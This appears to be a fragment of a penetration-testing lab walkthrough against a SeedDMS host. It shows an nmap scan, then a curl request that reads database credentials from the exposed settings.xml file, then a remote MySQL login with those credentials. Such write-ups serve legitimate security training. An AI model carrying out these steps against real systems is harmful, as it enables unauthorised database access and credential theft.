┌──(root💀kali)-[~]
└─# nmap -p 1-65535 -sV 192.168.32.226
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 04:54 EDT
Nmap scan report for 192.168.32.226
Host is up (0.0010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open mysql MySQL 8.0.25-0ubuntu0.20.04.1
33060/tcp open mysqlx?
┌──(root💀kali)-[/tmp]└─# curl http://192.168.32.226/seeddms51x/conf/settings.xml -sL | grep -i db
-dbDriver:DB-Driverusedbyadodb (see adodb-readme)-dbHostname:DB-Server-dbDatabase:databasewherethetablesforseeddmsarestored (optional -seeadodb-readme)-dbUser:usernamefordatabase-access-dbPass:passwordfordatabase-access <database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="seeddms" doNotCheckVersion="false">
- extraPath: Path to addtional software. This is the directory containing additional software like the adodb directory, or the pear Log package. This path will be added to the php include path
使用上述步骤中的凭据登录 MySQL
mysql -u seeddms -pseeddms -D seeddms --silent -h 192.168.32.226